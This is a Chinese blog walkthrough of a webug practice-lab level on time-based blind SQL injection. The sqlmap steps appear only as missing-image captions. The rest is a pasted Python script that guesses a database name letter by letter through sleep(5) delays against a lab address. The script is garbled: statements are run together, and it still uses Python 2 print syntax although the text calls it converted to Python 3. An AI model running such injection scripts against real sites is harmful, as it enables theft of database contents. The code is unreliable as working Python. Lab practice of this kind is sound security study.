我的webug通关之路:第五关(中级篇)

一、关卡题目
在这里插入图片描述
题目提示是一个时间注入漏洞
二、打开题目

在这里插入图片描述
三、我们输入时间盲注的语句检测一下
在这里插入图片描述
四、由于时间注入的手工检测方式必须要一下一下比对或者是用二分法,都特别的费时,此刻就可以使用我们的SQLmap来进行注入
爆数据库:

在这里插入图片描述
结果:
在这里插入图片描述
爆表名:
在这里插入图片描述
在这里插入图片描述
爆flag表的列名:
在这里插入图片描述
在这里插入图片描述
获取flag字段的内容:
在这里插入图片描述
在这里插入图片描述
五、在网上看到了一个自己写的Python的脚本来进行时间的盲注,在此处粘下来,一起学习学习,进行了些微改动,原先的脚本应该是基本Python2.7,改为Python3可以运行。

#encoding=utf-8 
#时间盲注脚本
import requests
import time
payloads = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,'
#存放跑出的结果
length=0
database=''
table=''
print"start get length..."for l in range(1,21):
	startTime1=time.time()
	url1 = "http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l)
	response1 = requests.get(url1)
	if time.time() - startTime1 > 5:
		length=l
		print"the length is " + str(length)break
print ('start database sql injection...')
for d in range(1,length+1):
	for payload in payloads:
		startTime2=time.time()
		url2 = "http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(5),1)"%(d,payload)
		response2 = requests.get(url2) #发送请求
		if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)
			database+=payload
			print database
			break
print ("the database is " + database)

Guess you like

Origin blog.csdn.net/weixin_45822019/article/details/105669184